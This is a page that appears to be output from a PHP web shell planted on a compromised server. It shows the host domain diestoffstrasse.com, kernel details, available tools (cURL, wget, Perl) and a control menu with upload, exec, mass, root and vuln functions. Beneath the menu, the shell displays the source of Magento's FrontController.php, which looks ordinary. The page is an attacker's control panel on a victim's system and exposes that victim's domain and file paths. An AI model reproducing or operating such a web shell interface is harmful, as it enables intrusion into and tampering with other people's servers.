Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 00:27:31
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/App/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/App/FrontController.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\App; use Magento\Framework\App\Action\AbstractAction; use Magento\Framework\App\Request\Http as HttpRequest; use Magento\Framework\App\Request\InvalidRequestException; use Magento\Framework\App\Request\ValidatorInterface as RequestValidator; use Magento\Framework\Controller\ResultInterface; use Magento\Framework\Exception\LocalizedException; use Magento\Framework\Exception\NotFoundException; use Magento\Framework\Message\ManagerInterface as MessageManager; use Psr\Log\LoggerInterface; /** * Front controller responsible for dispatching application requests * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class FrontController implements FrontControllerInterface { /** * @var RouterListInterface */ protected $_routerList; /** * @var ResponseInterface */ protected $response; /** * @var RequestValidator */ private $requestValidator; /** * @var MessageManager */ private $messages; /** * @var LoggerInterface */ private $logger; /** * @var bool */ private $validatedRequest = false; /** * @var State */ private $appState; /** * @var AreaList */ private $areaList; /** * @param RouterListInterface $routerList * @param ResponseInterface $response * @param RequestValidator|null $requestValidator * @param MessageManager|null $messageManager * @param LoggerInterface|null $logger * @param State $appState * @param AreaList $areaList */ public function __construct( RouterListInterface $routerList, ResponseInterface $response, ?RequestValidator $requestValidator = null, ?MessageManager $messageManager = null, ?LoggerInterface $logger = null, ?State $appState = null, ?AreaList $areaList = null ) { $this->_routerList = $routerList; $this->response = $response; $this->requestValidator = $requestValidator ?? ObjectManager::getInstance()->get(RequestValidator::class); $this->messages = $messageManager ?? ObjectManager::getInstance()->get(MessageManager::class); $this->logger = $logger ?? ObjectManager::getInstance()->get(LoggerInterface::class); $this->appState = $appState ?? ObjectManager::getInstance()->get(State::class); $this->areaList = $areaList ?? ObjectManager::getInstance()->get(AreaList::class); } /** * Perform action and generate response * * @param RequestInterface|HttpRequest $request * @return ResponseInterface|ResultInterface * @throws \LogicException * @throws LocalizedException */ public function dispatch(RequestInterface $request) { \Magento\Framework\Profiler::start('routers_match'); $this->validatedRequest = false; $routingCycleCounter = 0; $result = null; while (!$request->isDispatched() && $routingCycleCounter++ < 100) { /** @var \Magento\Framework\App\RouterInterface $router */ foreach ($this->_routerList as $router) { try { $actionInstance = $router->match($request); if ($actionInstance) { $result = $this->processRequest( $request, $actionInstance ); break; } } catch (\Magento\Framework\Exception\NotFoundException $e) { $request->initForward(); $request->setActionName('noroute'); $request->setDispatched(false); break; } } } \Magento\Framework\Profiler::stop('routers_match'); if ($routingCycleCounter > 100) { throw new \LogicException('Front controller reached 100 router match iterations'); } return $result; } /** * Process (validate and dispatch) the incoming request * * @param HttpRequest $request * @param ActionInterface $actionInstance * @return ResponseInterface|ResultInterface * @throws LocalizedException * * @throws NotFoundException */ private function processRequest( HttpRequest $request, ActionInterface $actionInstance ) { $request->setDispatched(true); $this->response->setNoCacheHeaders(); $result = null; //Validating a request only once. if (!$this->validatedRequest) { try { $this->requestValidator->validate( $request, $actionInstance ); } catch (InvalidRequestException $exception) { //Validation failed - processing validation results. $this->logger->debug( 'Request validation failed for action "' . get_class($actionInstance) . '"', ["exception" => $exception] ); $result = $exception->getReplaceResult(); $area = $this->areaList->getArea($this->appState->getAreaCode()); $area->load(Area::PART_DESIGN); $area->load(Area::PART_TRANSLATE); if ($messages = $exception->getMessages()) { foreach ($messages as $message) { $this->messages->addErrorMessage($message); } } } $this->validatedRequest = true; } //Validation did not produce a result to replace the action's. if (!$result) { if ($actionInstance instanceof AbstractAction) { $result = $actionInstance->dispatch($request); } else { $result = $actionInstance->execute(); } } //handling redirect to 404 if ($result instanceof NotFoundException) { throw $result; } return $result; } }